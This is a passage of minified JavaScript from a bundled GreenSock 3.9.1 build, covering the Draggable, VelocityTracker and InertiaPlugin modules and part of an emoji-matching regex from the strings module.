t,r,i,o;c=!1,s?(s.calibrate(),j.minX=g=-s.maxScrollLeft(),j.minY=m=-s.maxScrollTop(),j.maxX=d=j.maxY=D=0,c=!0):n.bounds&&(t=ua(n.bounds,e.parentNode),Y?(j.minX=g=t.left,j.maxX=d=t.left+t.width,j.minY=m=j.maxY=D=0):Cs(n.bounds.maxX)&&Cs(n.bounds.maxY)?(r=ua(e,e.parentNode),j.minX=g=Math.round(it(I,"px")+t.left-r.left),j.minY=m=Math.round(it(z,"px")+t.top-r.top),j.maxX=d=Math.round(g+(t.width-r.width)),j.maxY=D=Math.round(m+(t.height-r.height))):(t=n.bounds,j.minX=g=t.minX,j.minY=m=t.minY,j.maxX=d=t.maxX,j.maxY=D=t.maxY),g>d&&(j.minX=d,j.maxX=d=g,g=j.minX),m>D&&(j.minY=D,j.maxY=D=m,m=j.minY),Y&&(j.minRotation=g,j.maxRotation=d),c=!0),n.liveSnap&&(i=!0===n.liveSnap?n.snap||{}:n.liveSnap,o=Ms(i)||xs(i),Y?(C=lt(o?i:i.rotation,g,d,1),F=null):i.points?E=function(t,e,n,r,i,o,s){return o=o&&o<1e20?o*o:1e20,xs(t)?function(a){var u,l,h,c=j.isPressed?1-j.edgeResistance:1,f=a.x,p=a.y;return a.x=f=f>n?n+(f-n)*c:fi?i+(p-i)*c:po&&(a.x=f,a.y=p),a}:Ms(t)?function(e){for(var n,r,i,s,a=t.length,u=0,l=1e20;--a>-1;)(s=(n=(i=t[a]).x-e.x)*n+(r=i.y-e.y)*r)1e3?0:.5:n.minDuration,overshoot:u}),j.tween=a=$o.to(s||e,{inertia:t,data:"_draggable",onComplete:ct,onInterrupt:ft,onUpdate:n.fastMode?aa:ut,onUpdateParams:n.fastMode?[j,"onthrowupdate","onThrowUpdate"]:i&&i.radius?[!1,!0]:[]}),n.fastMode||(s&&(s._skip=!0),a.render(1e9,!0,!0),ut(!0,!0),j.endX=j.x,j.endY=j.y,Y&&(j.endRotation=j.x),a.play(0),ut(!0,!0),s&&(s._skip=!1))):c&&j.applyBounds()},dt=function(t){var n,r=M;M=Do(e.parentNode,!0),t&&j.isPressed&&!M.equals(r||new go)&&(n=r.inverse().apply({x:a,y:u}),M.apply(n,n),a=n.x,u=n.y),M.equals(Ss)&&(M=null)},gt=function(){var t,n,r,i=1-j.edgeResistance,o=rt?Zs(ot):0,f=rt?Qs(ot):0;dt(!1),la.x=j.pointerX-o,la.y=j.pointerY-f,M&&M.apply(la,la),a=la.x,u=la.y,x&&(yt(j.pointerX,j.pointerY),at(!0)),N=Do(e),s?(ht(),h=s.top(),l=s.left()):(Dt()?(ut(!0,!0),ht()):j.applyBounds(),Y?(t=e.ownerSVGElement?[nt.xOrigin-e.getBBox().x,nt.yOrigin-e.getBBox().y]:(ia(e)[bs]||"0 0").split(" "),y=j.rotationOrigin=Do(e).apply({x:parseFloat(t[0])||0,y:parseFloat(t[1])||0}),ut(!0,!0),n=j.pointerX-y.x-o,r=y.y-j.pointerY+f,l=j.x,h=j.y=Math.atan2(r,n)*Ps):(h=it(z,"px"),l=it(I,"px"))),c&&i&&(l>d?l=d+(l-d)/i:lD?h=D+(h-D)/i:h2))&&(H?"y":"x"),(L=!P&&!j.allowEventDefault)&&(qs(t),js(Jo,"touchforcechange",qs)),t.changedTouches?(t=v=t.changedTouches[0],_=t.identifier):t.pointerId?_=t.pointerId:v=_=null,cs++,h=at,ks.push(h),1===ks.length&&$o.ticker.add(Hs),u=j.pointerY=t.pageY,a=j.pointerX=t.pageX,aa(j,"pressInit","onPressInit"),(P||j.autoScroll)&&na(e.parentNode),!e.parentNode||!j.autoScroll||s||Y||!e.parentNode._gsMaxScrollX||is.parentNode||e.getBBox||(is.style.width=e.parentNode.scrollWidth+"px",e.parentNode.appendChild(is)),gt(),j.tween&&j.tween.kill(),j.isThrowing=!1,$o.killTweensOf(s||e,q,!0),s&&$o.killTweensOf(e,{scrollTo:1},!0),j.tween=j.lockedAxis=null,(n.zIndexBoost||!Y&&!s&&!1!==n.zIndexBoost)&&(e.style.zIndex=r.zIndex++),j.isPressed=!0,f=!(!n.onDrag&&!j._listeners.drag),p=!(!n.onMove&&!j._listeners.move),!1!==n.cursor||n.activeCursor)for(l=U.length;--l>-1;)$o.set(U[l],{cursor:n.activeCursor||n.cursor||("grab"===gs?"grabbing":gs)});aa(j,"press","onPress")}},_t=function(t){var n,r,i,s,l,h,c=t;if(o&&!fs&&j.isPressed&&t){if(j.pointerEvent=t,n=t.changedTouches){if((t=n[0])!==v&&t.identifier!==_){for(s=n.length;--s>-1&&(t=n[s]).identifier!==_&&t.target!==e;);if(s<0)return}}else if(t.pointerId&&_&&t.pointerId!==_)return;T&&P&&!S&&(la.x=t.pageX-(rt?Zs(ot):0),la.y=t.pageY-(rt?Qs(ot):0),M&&M.apply(la,la),r=la.x,i=la.y,((l=Math.abs(r-a))!==(h=Math.abs(i-u))&&(l>V||h>V)||ps&&P===S)&&(S=l>h&&H?"x":"y",P&&S!==P&&js(Jo,"touchforcechange",qs),!1!==j.vars.lockAxisOnTouchScroll&&H&&W&&(j.lockedAxis="x"===S?"y":"x",xs(j.vars.onLockAxis)&&j.vars.onLockAxis.call(j,c)),ps&&P===S))?xt(c):(j.allowEventDefault||P&&(!S||P===S)||!1===c.cancelable?L&&(L=!1):(qs(c),L=!0),j.autoScroll&&(K=!0),yt(t.pageX,t.pageY,p))}else L&&t&&o&&qs(t)},yt=function(t,e,n){var r,i,o,s,f,p,v=1-j.dragResistance,_=1-j.edgeResistance,w=j.pointerX,b=j.pointerY,T=h,A=j.x,P=j.y,S=j.endX,O=j.endY,k=j.endRotation,B=x;j.pointerX=t,j.pointerY=e,rt&&(t-=Zs(ot),e-=Qs(ot)),Y?(s=Math.atan2(y.y-e,t-y.x)*Ps,(f=j.y-s)>180?(h-=360,j.y=s):f<-180&&(h+=360,j.y=s),j.x!==l||Math.abs(h-s)>V?(j.y=s,o=l+(h-s)*v):o=l):(M&&(p=t*M.a+e*M.c+M.e,e=t*M.b+e*M.d+M.f,t=p),(i=e-u)-V&&(i=0),(r=t-a)-V&&(r=0),(j.lockAxis||j.lockedAxis)&&(r||i)&&((p=j.lockedAxis)||(j.lockedAxis=p=H&&Math.abs(r)>Math.abs(i)?"y":W?"x":null,p&&xs(j.vars.onLockAxis)&&j.vars.onLockAxis.call(j,j.pointerEvent)),"y"===p?i=0:"x"===p&&(r=0)),o=Ts(l+r*v),s=Ts(h+i*v)),(C||F||E)&&(j.x!==o||j.y!==s&&!Y)&&(E&&(Xs.x=o,Xs.y=s,p=E(Xs),o=Ts(p.x),s=Ts(p.y)),C&&(o=Ts(C(o))),F&&(s=Ts(F(s)))),c&&(o>d?o=d+Math.round((o-d)*_):oD?s=Math.round(D+(s-D)*_):s2),d=$o.delayedCall(.001,mt);if(T?(Us(T,"touchend",t),Us(T,"touchmove",_t),Us(T,"touchcancel",t),Us(ot,"touchstart",Ks)):Us(ot,"mousemove",_t),Us(Jo,"touchforcechange",qs),Ds&&T||(Us(ot,"mouseup",t),r&&r.target&&Us(r.target,"mouseup",t)),x=!1,f&&(G=Rs=Os(),j.isDragging=!1),b&&!p)return r&&(Us(r.target,"change",t),j.pointerEvent=c),pa(U,!1),aa(j,"release","onRelease"),aa(j,"click","onClick"),void(b=!1);for(Vs(at),a=U.length;--a>-1;)ra(U[a],"cursor",n.cursor||(!1!==n.cursor?gs:null));if(cs--,r){if((s=r.changedTouches)&&(r=s[0])!==v&&r.identifier!==_){for(a=s.length;--a>-1&&(r=s[a]).identifier!==_&&r.target!==e;);if(a<0)return}j.pointerEvent=c,j.pointerX=r.pageX,j.pointerY=r.pageY}return p&&c?(qs(c),L=!0,aa(j,"release","onRelease")):c&&!f?(L=!1,A&&(n.snap||n.bounds)&&pt(n.inertia||n.throwProps),aa(j,"release","onRelease"),ps&&"touchmove"===c.type||-1!==c.type.indexOf("cancel")||(aa(j,"click","onClick"),Os()-et<300&&aa(j,"doubleclick","onDoubleClick"),l=c.target||e,et=Os(),h=function(){et===k||!j.enabled()||j.isPressed||c.defaultPrevented||(l.click?l.click():ot.createEvent&&((u=ot.createEvent("MouseEvents")).initMouseEvent("click",!0,!0,Jo,1,j.pointerEvent.screenX,j.pointerEvent.screenY,j.pointerX,j.pointerY,!1,!1,!1,!1,0,null),l.dispatchEvent(u)))},ps||c.defaultPrevented||$o.delayedCall(.05,h))):(pt(n.inertia||n.throwProps),j.allowEventDefault||!c||!1===n.dragClickables&&tt.call(j,c.target)||!f||P&&(!S||P!==S)||!1===c.cancelable?L=!1:(L=!0,qs(c)),aa(j,"release","onRelease")),Dt()&&d.duration(j.tween.duration()),f&&aa(j,"dragend","onDragEnd"),!0}L&&r&&o&&qs(r)},wt=function(t){if(t&&j.isDragging&&!s){var n=t.target||e.parentNode,r=n.scrollLeft-n._gsScrollX,i=n.scrollTop-n._gsScrollY;(r||i)&&(M?(a-=r*M.a+i*M.c,u-=i*M.d+r*M.b):(a-=r,u-=i),n._gsScrollX+=r,n._gsScrollY+=i,yt(j.pointerX,j.pointerY))}},Ct=function(t){var e=Os(),n=e-et<100,r=e-G<50,i=n&&k===et,o=j.pointerEvent&&j.pointerEvent.defaultPrevented,s=n&&B===et,a=t.isTrusted||null==t.isTrusted&&n&&i;if((i||r&&!1!==j.vars.suppressClickOnDrag)&&t.stopImmediatePropagation&&t.stopImmediatePropagation(),n&&(!j.pointerEvent||!j.pointerEvent.defaultPrevented)&&(!i||a&&!s))return a&&i&&(B=et),void(k=et);(j.isPressed||r||n)&&(a&&t.detail&&n&&!o||qs(t)),n||r||(t&&t.target&&(j.pointerEvent=t),aa(j,"click","onClick"))},Ft=function(t){return M?{x:t.x*M.a+t.y*M.c+M.e,y:t.x*M.b+t.y*M.d+M.f}:{x:t.x,y:t.y}};return(w=r.get(e))&&w.kill(),i.startDrag=function(t,n){var r,i,o,s;vt(t||j.pointerEvent,!0),n&&!j.hitTest(t||j.pointerEvent)&&(r=sa(t||j.pointerEvent),i=sa(e),o=Ft({x:r.left+r.width/2,y:r.top+r.height/2}),s=Ft({x:i.left+i.width/2,y:i.top+i.height/2}),a-=o.x-s.x,u-=o.y-s.y),j.isDragging||(j.isDragging=!0,aa(j,"dragstart","onDragStart"))},i.drag=_t,i.endDrag=function(t){return xt(t||j.pointerEvent,!0)},i.timeSinceDrag=function(){return j.isDragging?0:(Os()-G)/1e3},i.timeSinceClick=function(){return(Os()-et)/1e3},i.hitTest=function(t,e){return r.hitTest(j.target,t,e)},i.getDirection=function(t,n){var r,i,o,s,a,u,c="velocity"===t&&ds?t:ws(t)&&!Y?"element":"start";return"element"===c&&(a=sa(j.target),u=sa(t)),r="start"===c?j.x-l:"velocity"===c?ds.getVelocity(e,I):a.left+a.width/2-(u.left+u.width/2),Y?r<0?"counter-clockwise":"clockwise":(n=n||2,i="start"===c?j.y-h:"velocity"===c?ds.getVelocity(e,z):a.top+a.height/2-(u.top+u.height/2),s=(o=Math.abs(r/i))<1/n?"":r<0?"left":"right",od?i=d:iD?o=D:ou._gsMaxScrollY&&(u.scrollTop=u._gsMaxScrollY),H&&u.scrollLeft>u._gsMaxScrollX&&(u.scrollLeft=u._gsMaxScrollX),a=u;j.isThrowing&&(s||j.endX>d||j.endXD||j.endY.01||W&&Math.abs(u-j.y)>.01&&!Y)&>(),j.autoScroll&&(na(e.parentNode,j.isDragging),K=j.isDragging,at(!0),Js(e,wt),$s(e,wt)),j},i.enable=function(t){var r,i,a,u={lazy:!0};if(!1!==n.cursor&&(u.cursor=n.cursor||gs),$o.utils.checkPrefix("touchCallout")&&(u.touchCallout="none"),"soft"!==t){for(zs(U,H===W?"none":n.allowNativeTouchScrolling&&e.scrollHeight===e.clientHeight==(e.scrollWidth===e.clientHeight)||n.allowEventDefault?"manipulation":H?"pan-y":"pan-x"),i=U.length;--i>-1;)a=U[i],Ds||js(a,"mousedown",vt),js(a,"touchstart",vt),js(a,"click",Ct,!0),$o.set(a,u),a.getBBox&&a.ownerSVGElement&&$o.set(a.ownerSVGElement,{touchAction:H===W?"none":n.allowNativeTouchScrolling||n.allowEventDefault?"manipulation":H?"pan-y":"pan-x"}),n.allowContextMenu||js(a,"contextmenu",st);pa(U,!1)}return $s(e,wt),o=!0,ds&&"soft"!==t&&ds.track(s||e,X?"x,y":Y?"rotation":"top,left"),e._gsDragID=r="d"+Ls++,Bs[r]=j,s&&(s.enable(),s.element._gsDragID=r),(n.bounds||Y)&>(),n.bounds&&j.applyBounds(),j},i.disable=function(t){for(var n,r=j.isDragging,i=U.length;--i>-1;)ra(U[i],"cursor",null);if("soft"!==t){for(zs(U,null),i=U.length;--i>-1;)n=U[i],ra(n,"touchCallout",null),Us(n,"mousedown",vt),Us(n,"touchstart",vt),Us(n,"click",Ct),Us(n,"contextmenu",st);pa(U,!0),T&&(Us(T,"touchcancel",xt),Us(T,"touchend",xt),Us(T,"touchmove",_t)),Us(ot,"mouseup",xt),Us(ot,"mousemove",_t)}return Js(e,wt),o=!1,ds&&"soft"!==t&&ds.untrack(s||e,X?"x,y":Y?"rotation":"top,left"),s&&s.disable(),Vs(at),j.isDragging=j.isPressed=b=!1,r&&aa(j,"dragend","onDragEnd"),j},i.enabled=function(t,e){return arguments.length?t?j.enable(e):j.disable(e):o},i.kill=function(){return j.isThrowing=!1,j.tween&&j.tween.kill(),j.disable(),$o.set(U,{clearProps:"userSelect"}),delete Bs[e._gsDragID],j},~R.indexOf("scroll")&&(s=i.scrollProxy=new da(e,function(t,e){for(var n in e)n in t||(t[n]=e[n]);return t}({onKill:function(){j.isPressed&&xt(null)}},n)),e.style.overflowY=W&&!ls?"auto":"hidden",e.style.overflowX=H&&!ls?"auto":"hidden",e=s.content),Y?q.rotation=1:(H&&(q[I]=1),W&&(q[z]=1)),nt.force3D=!("force3D"in n)||n.force3D,i.enable(),i}return n=t,(e=r).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n,r.register=function(t){$o=t,ga()},r.create=function(t,e){return os||ga(!0),as(t).map((function(t){return new r(t,e)}))},r.get=function(t){return Bs[(as(t)[0]||{})._gsDragID]},r.timeSinceDrag=function(){return(Os()-Rs)/1e3},r.hitTest=function(t,e,n){if(t===e)return!1;var r,i,o,s=sa(t),a=sa(e),u=s.top,l=s.left,h=s.right,c=s.bottom,f=s.width,p=s.height,d=a.left>h||a.rightc||a.bottom=f*p*n||i>=a.width*a.height*n):r.width>n&&r.height>n))},r}(function(){function t(t){this._listeners={},this.target=t||this}var e=t.prototype;return e.addEventListener=function(t,e){var n=this._listeners[t]||(this._listeners[t]=[]);~n.indexOf(e)||n.push(e)},e.removeEventListener=function(t,e){var n=this._listeners[t],r=n&&n.indexOf(e)||-1;r>-1&&n.splice(r,1)},e.dispatchEvent=function(t){var e,n=this;return(this._listeners[t]||[]).forEach((function(r){return!1===r.call(n,{type:t,target:n.target})&&(e=!1)})),e},t}());!function(t,e){for(var n in e)n in t||(t[n]=e[n])}(Da.prototype,{pointerX:0,pointerY:0,startX:0,startY:0,deltaX:0,deltaY:0,isDragging:!1,isPressed:!1}),Da.zIndex=1e3,Da.version="3.9.1",ys()&&$o.registerPlugin(Da); /*! * VelocityTracker: 3.9.1 * https://greensock.com * * Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var ma,va,_a,ya,xa,wa,Ca,Fa,Ea=function(){return ma||"undefined"!=typeof window&&(ma=window.gsap)},ba={},Ta=function(t){return Fa(t).id},Ma=function(t){return ba[Ta("string"==typeof t?_a(t)[0]:t)]},Aa=function(t){var e,n=xa;if(t-Ca>=.05)for(Ca,Ca=t;n;)((e=n.g(n.t,n.p))!==n.v1||t-n.t1>.2)&&(n.v2=n.v1,n.v1=e,n.t2=n.t1,n.t1=t),n=n._next},Pa={deg:360,rad:2*Math.PI},Sa=function(){(ma=Ea())&&(_a=ma.utils.toArray,ya=ma.utils.getUnit,Fa=ma.core.getCache,wa=ma.ticker,va=1)},Oa=function(t,e,n,r){this.t=t,this.p=e,this.g=t._gsap.get,this.rCap=Pa[n||ya(this.g(t,e))],this.v1=this.v2=0,this.t1=this.t2=wa.time,r&&(this._next=r,r._prev=this)},ka=function(){function t(t,e){va||Sa(),this.target=_a(t)[0],ba[Ta(this.target)]=this,this._props={},e&&this.add(e)}t.register=function(t){ma=t,Sa()};var e=t.prototype;return e.get=function(t,e){var n,r,i,o=this._props[t]||console.warn("Not tracking "+t+" velocity.");return n=parseFloat(e?o.v1:o.g(o.t,o.p))-parseFloat(o.v2),(r=o.rCap)&&(n%=r)!==n%(r/2)&&(n=n<0?n+r:n-r),i=n/((e?o.t1:wa.time)-o.t2),Math.round(1e4*i)/1e4},e.getAll=function(){var t,e={},n=this._props;for(t in n)e[t]=this.get(t);return e},e.isTracking=function(t){return t in this._props},e.add=function(t,e){t in this._props||(xa||(wa.add(Aa),Ca=wa.time),xa=this._props[t]=new Oa(this.target,t,e,xa))},e.remove=function(t){var e,n,r=this._props[t];r&&(e=r._prev,n=r._next,e&&(e._next=n),n?n._prev=e:xa===r&&(wa.remove(Aa),xa=0),delete this._props[t])},e.kill=function(t){for(var e in this._props)this.remove(e);t||delete ba[Ta(this.target)]},t.track=function(e,n,r){va||Sa();for(var i,o,s=[],a=_a(e),u=n.split(","),l=(r||"").split(","),h=a.length;h--;){for(i=Ma(a[h])||new t(a[h]),o=u.length;o--;)i.add(u[o],l[o]||l[0]);s.push(i)}return s},t.untrack=function(t,e){var n=(e||"").split(",");_a(t).forEach((function(t){var e=Ma(t);e&&(n.length?n.forEach((function(t){return e.remove(t)})):e.kill(1))}))},t.isTracking=function(t,e){var n=Ma(t);return n&&n.isTracking(e)},t.getVelocity=function(t,e){var n=Ma(t);return n&&n.isTracking(e)?n.get(e):console.warn("Not tracking velocity of "+e)},t}();ka.getByTarget=Ma,Ea()&&ma.registerPlugin(ka); /*! * InertiaPlugin 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var Ba,La,Na,Ra,Xa,Ya,Ia,za,Ha,Wa,Va,ja,Ua=ka.getByTarget,qa=function(){return Ba||"undefined"!=typeof window&&(Ba=window.gsap)&&Ba.registerPlugin&&Ba},Ga=function(t){return"number"==typeof t},Ka=function(t){return"object"==typeof t},Qa=function(t){return"function"==typeof t},Za=Array.isArray,$a=function(t){return t},Ja=function(t,e,n){for(var r in e)r in t||r===n||(t[r]=e[r]);return t},tu=function t(e){var n,r,i={};for(n in e)i[n]=Ka(r=e[n])&&!Za(r)?t(r):r;return i},eu=function(t,e,n,r,i){var o,s,a,u,l=e.length,h=0,c=1e10;if(Ka(t)){for(;l--;){for(a in o=e[l],s=0,t)s+=(u=o[a]-t[a])*u;s=r&&o<=n&&(h=l,c=s);return e[h]},nu=function(t,e,n,r,i,o,s){if("auto"===t.end)return t;var a,u,l=t.end;if(n=isNaN(n)?1e10:n,r=isNaN(r)?-1e10:r,Ka(e)){if(a=e.calculated?e:(Qa(l)?l(e,s):eu(e,l,n,r,o))||e,!e.calculated){for(u in a)e[u]=a[u];e.calculated=!0}a=a[i]}else a=Qa(l)?l(e,s):Za(l)?eu(e,l,n,r,o):parseFloat(l);return a>n?a=n:a+a.max+1e-10?(d=a.unitFactor||Ya.unitFactors[s]||1,(f=h>a.max&&a.min!==a.max||l*d>-15&&l*d<45?r+.1*(n-r):ou(h,a.max,l))+i-45&&l*d<15?r+.1*(n-r):ou(h,a.min,l))+iD&&(D=f)),u>D&&(D=u));return D>m&&(D=m),D>n?n:Df&&(_||a.preventOvershoot?c=a.min-u:p=a.min-u-c)),this._props.push(s),this._pt=new za(this._pt,t,s,u,0,$a,0,g.set(t,s,this)),this._pt.u=l||0,this._pt.c1=c,this._pt.c2=p);return n.duration(x),1},render:function(t,e){var n,r=e._pt;for(t=Xa(e.tween._time/e.tween._dur);r;)r.set(r.t,r.p,(n=r.s+r.c1*t+r.c2*t*t,Math.round(1e4*n)/1e4+r.u),r.d,t),r=r._next}};"track,untrack,isTracking,getVelocity,getByTarget".split(",").forEach((function(t){return lu[t]=ka[t]})),qa()&&Ba.registerPlugin(lu); /*! * strings: 3.9.1 * https://greensock.com * * Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var hu=/([\uD800-\uDBFF][\uDC00-\uDFFF](?:[\u200D\uFE0F][\uD800-\uDBFF][\uDC00-\uDFFF]){2,}|\uD83D\uDC69(?:\u200D(?:(?:\uD83D\uDC69\u200D)?\uD83D\uDC67|(?:\uD83D\uDC69\u200D)?\uD83D\uDC66)|\uD83C[\uDFFB-\uDFFF])|\uD83D\uDC69\u200D(?:\uD83D\uDC69\u200D)?\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC69\u200D(?:\uD83D\uDC69\u200D)?\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C\uDFF3\uFE0F\u200D\uD83C\uDF08|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]\uFE0F|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92])|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC6F\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3C-\uDD3E\uDDD6-\uDDDF])\u200D[\u2640\u2642]\uFE0F|\uD83C\uDDFD\uD83C\uDDF0|\uD83C\uDDF6\uD83C\uDDE6|\uD83C\uDDF4\uD83C\uDDF2|\uD83C\uDDE9(?:\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF])|\uD83C\uDDF7(?:\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC])|\uD83C\uDDE8(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uFE0F\u200D[\u2640\u2642]|(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642])\uFE0F|(?:\uD83D\uDC41\uFE0F\u200D\uD83D\uDDE8|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2695\u2696\u2708]|\uD83D\uDC69\u200D[\u2695\u2696\u2708]|\uD83D\uDC68(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708]))\uFE0F|\uD83C\uDDF2(?:\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF])|\uD83D\uDC69\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D(?:\uD83D[\uDC68\uDC69])|\uD83D[\uDC68\uDC69]))|\uD83C\uDDF1(?:\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE])|\uD83C\uDDEF(?:\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5])|\uD83C\uDDED(?:\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA])|\uD83C\uDDEB(?:\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7])|[#\*0-9]\uFE0F\u20E3|\uD83C\uDDE7(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF])|\uD83C\uDDE6(?:\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF])|\uD83C\uDDFF(?:\uD83C[\uDDE6\uDDF2\uDDFC])|\uD83C\uDDF5(?:\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE])|\uD83C\uDDFB(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA])|\uD83C\uDDF3(?:\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF])|\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F|\uD83D\uDC68(?:\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83D\uDC68|(?:(?:\uD83D[\uDC68\uDC69])\u200D)?\uD83D\uDC66\u200D\uD83D\uDC66|(?:(?:\uD83D[\uDC68\uDC69])\u200D)?\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92])|(?:\uD83C[\uDFFB-\uDFFF])\u200D(?:\uD83C[\uDF3E\uDF73\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]))|\uD83C\uDDF8(?:\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF])|\uD83C\uDDF0(?:\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF])|\uD83C\uDDFE(?:\uD83C[\uDDEA\uDDF9])|\uD83C\uDDEE(?:\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9])|\uD83C\uDDF9(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF])|\uD83C\uDDEC(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE])|\uD83C\uDDFA(?:\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF])|\uD83C\uDDEA(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA])|\uD83C\uDDFC(?:\uD83C[\uDDEB\uDDF8])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD37-\uDD39\uDD3D\uDD3E\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u270A-\u270D]|\uD83C[\uDF85\uDFC2\uDFC7]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC70\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDCAA\uDD74\uDD7A\uDD90\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC]|\uD83E[\uDD18-\uDD1C\uDD1E\uDD1F\uDD30-\uDD36\uDDD1-\uDDD5])(?:\uD83C[\uDFFB-\uDFFF])|\uD83D\uDC68(?:\u200D(?:(?:(?:\uD83D[\uDC68\uDC69])\u200D)?\uD83D\uDC67|(?:(?:\uD83D[\uDC68\uDC69])\u200D)?\uD83D\uDC66)|\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u26F9\u270A-\u270D]|\uD83C[\uDF85\uDFC2-\uDFC4\uDFC7\uDFCA-\uDFCC]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66-\uDC69\uDC6E\uDC70-\uDC78\uDC7C\uDC81-\uDC83\uDC85-\uDC87\uDCAA\uDD74\uDD75\uDD7A\uDD90\uDD95\uDD96\uDE45-\uDE47\uDE4B-\uDE4F\uDEA3\uDEB4-\uDEB6\uDEC0\uDECC]|\uD83E[\uDD18-\uDD1C\uDD1E\uDD1F\uDD26\uDD30-\uDD39\uDD3D\uDD3E\uDDD1-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])?|(?:[\u231A\u231B\u23E9-\u23EC\u23F0\u23F3\u25FD\u25FE\u2614\u2615\u2648-\u2653\u267F\u2693\u26A1\u26AA\u26AB\u26BD\u26BE\u26C4\u26C5\u26CE\u26D4\u